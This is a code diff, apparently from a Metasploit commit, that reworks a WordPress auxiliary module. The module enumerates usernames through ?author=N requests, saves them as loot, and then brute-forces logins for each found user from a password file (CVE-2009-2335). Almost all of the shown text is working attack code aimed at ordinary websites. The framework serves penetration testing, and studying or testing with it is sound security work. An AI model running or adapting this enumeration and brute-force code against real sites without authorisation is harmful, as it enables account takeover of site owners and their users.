5
5
# http://metasploit.com/
6
6
##
7
7
8
- require 'uri'
9
-
10
-
11
8
class Metasploit3 < Msf ::Auxiliary
12
9
13
10
include Msf ::Exploit ::Remote ::HttpClient
@@ -18,18 +15,19 @@ class Metasploit3 < Msf::Auxiliary
18
15
19
16
def initialize
20
17
super (
21
- 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
22
- 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
23
- 'Author' => [
24
- 'Alligator Security Team' ,
25
- 'Tiago Ferreira <tiago.ccna[at]gmail.com>' ,
26
- 'Zach Grace <zgrace[at]404labs.com>'
27
- ] ,
18
+ 'Name' => 'Wordpress Brute Force and User Enumeration Utility' ,
19
+ 'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility' ,
20
+ 'Author' =>
21
+ [
22
+ 'Alligator Security Team' ,
23
+ 'Tiago Ferreira <tiago.ccna[at]gmail.com>' ,
24
+ 'Zach Grace <zgrace[at]404labs.com>'
25
+ ] ,
28
26
'References' =>
29
27
[
30
28
[ 'BID' , '35581' ] ,
31
29
[ 'CVE' , '2009-2335' ] ,
32
- [ 'OSVDB' , '55713' ] ,
30
+ [ 'OSVDB' , '55713' ]
33
31
] ,
34
32
'License' => MSF_LICENSE
35
33
)
@@ -41,7 +39,7 @@ def initialize
41
39
OptBool . new ( 'BRUTEFORCE' , [ true , "Perform brute force authentication" , true ] ) ,
42
40
OptBool . new ( 'ENUMERATE_USERNAMES' , [ true , "Enumerate usernames" , true ] ) ,
43
41
OptString . new ( 'RANGE_START' , [ false , 'First user id to enumerate' , '1' ] ) ,
44
- OptString . new ( 'RANGE_END' , [ false , 'Last user id to enumerate' , '10' ] ) ,
42
+ OptString . new ( 'RANGE_END' , [ false , 'Last user id to enumerate' , '10' ] )
45
43
] , self . class )
46
44
47
45
end
@@ -52,9 +50,11 @@ def target_url
52
50
53
51
54
52
def run_host ( ip )
53
+ usernames = [ ]
55
54
if datastore [ 'ENUMERATE_USERNAMES' ]
56
- enum_usernames
55
+ usernames = enum_usernames
57
56
end
57
+
58
58
if datastore [ 'VALIDATE_USERS' ]
59
59
@users_found = { }
60
60
vprint_status ( "#{ target_url } - WordPress Enumeration - Running User Enumeration" )
@@ -72,17 +72,29 @@ def run_host(ip)
72
72
if datastore [ 'VALIDATE_USERS' ]
73
73
if @users_found && @users_found . keys . size > 0
74
74
vprint_status ( "#{ target_url } - WordPress Brute Force - Skipping all but #{ uf = @users_found . keys . size } valid #{ uf == 1 ? "user" : "users" } " )
75
- else
76
- vprint_status ( "#{ target_url } - WordPress Brute Force - No valid users found. Exiting." )
77
- return
78
75
end
79
76
end
77
+
78
+ # Brute-force using files.
80
79
each_user_pass { |user , pass |
81
80
if datastore [ 'VALIDATE_USERS' ]
82
81
next unless @users_found [ user ]
83
82
end
84
- do_login ( user , pass )
83
+
84
+ do_login ( user , pass )
85
85
}
86
+
87
+ # Brute force previously found users
88
+ if not usernames . empty?
89
+ print_status ( "#{ target_url } - Brute-forcing previously found accounts..." )
90
+ passwords = load_password_vars ( datastore [ 'PASS_FILE' ] )
91
+ usernames . each do |user |
92
+ passwords . each do |pass |
93
+ do_login ( user , pass )
94
+ end
95
+ end
96
+ end
97
+
86
98
end
87
99
end
88
100
@@ -126,7 +138,8 @@ def do_enum(user=nil)
126
138
:sname => ( ssl ? 'https' : 'http' ) ,
127
139
:user => user ,
128
140
:port => rport ,
129
- :proof => "WEBAPP=\" Wordpress\" , VHOST=#{ vhost } "
141
+ :proof => "WEBAPP=\" Wordpress\" , VHOST=#{ vhost } " ,
142
+
130
143
)
131
144
132
145
@users_found [ user ] = :reported
@@ -186,42 +199,43 @@ def do_login(user=nil,pass=nil)
186
199
end
187
200
end
188
201
189
- def enum_usernames ( )
190
- usernames = Tempfile . new ( 'wp_enum' )
191
- begin
192
- for i in datastore [ 'RANGE_START' ] ..datastore [ 'RANGE_END' ]
193
- uri = "#{ datastore [ 'URI' ] . gsub ( /wp-login/ , 'index' ) } ?author=#{ i } "
194
- print_status "Requesting #{ uri } "
202
+ def enum_usernames
203
+ usernames = [ ]
204
+ for i in datastore [ 'RANGE_START' ] ..datastore [ 'RANGE_END' ]
205
+ uri = "#{ datastore [ 'URI' ] . gsub ( /wp-login/ , 'index' ) } ?author=#{ i } "
206
+ print_status "#{ target_url } - Requesting #{ uri } "
207
+ res = send_request_cgi ( {
208
+ 'method' => 'GET' ,
209
+ 'uri' => uri
210
+ } )
211
+
212
+ if ( res and res . code == 301 )
213
+ uri = URI ( res . headers [ 'Location' ] )
214
+ uri = "#{ uri . path } ?#{ uri . query } "
195
215
res = send_request_cgi ( {
196
216
'method' => 'GET' ,
197
217
'uri' => uri
198
218
} )
219
+ end
199
220
200
- if ( res and res . code == 301 )
201
- uri = URI ( res . headers [ 'Location' ] )
202
- uri = "#{ uri . path } ?#{ uri . query } "
203
- res = send_request_cgi ( {
204
- 'method' => 'GET' ,
205
- 'uri' => uri
206
- } )
207
- end
208
-
209
- if ( res == nil )
210
- print_error ( "Error getting response." )
211
- elsif ( res . code == 200 )
212
- #username = /<link rel="alternate" type="application\/rss\+xml" title=".*" href="http[s]*:\/\/.*\/(.*)\/feed\/" \/>/.match(res.body.to_s)[1]
213
- username = /href="http[s]*:\/ \/ .*\/ author\/ (.*)\/ feed\/ / . match ( res . body . to_s ) [ 1 ]
214
- usernames . write ( "#{ username } \n " )
215
- print_good "Found user #{ username } with id #{ i } "
216
- elsif ( res . code == 404 )
217
- print_status "No user with id #{ i } found"
218
- else
219
- print_error "Error, #{ res . code } returned."
220
- end
221
+ if res . nil?
222
+ print_error ( "#{ target_url } - Error getting response." )
223
+ elsif res . code == 200 and res . body =~ /href="http[s]*:\/ \/ .*\/ \? *author.+title="([[:print:]]+)" /i
224
+ username = $1
225
+ print_good "#{ target_url } - Found user '#{ username } ' with id #{ i . to_s } "
226
+ usernames << username
227
+ elsif res . code == 404
228
+ print_status "#{ target_url } - No user with id #{ i . to_s } found"
229
+ else
230
+ print_error "#{ target_url } - Unknown error. HTTP #{ res . code . to_s } "
221
231
end
222
- ensure
223
- datastore [ 'USER_FILE' ] = usernames . path
224
- usernames . close
225
232
end
233
+
234
+ if not usernames . empty?
235
+ p = store_loot ( 'wordpress.users' , 'text/plain' , rhost , usernames * "\n " , "#{ rhost } _wordpress_users.txt" )
236
+ print_status ( "#{ target_url } - Usernames stored in: #{ p } " )
237
+ end
238
+
239
+ return usernames
226
240
end
227
241
end
0 commit comments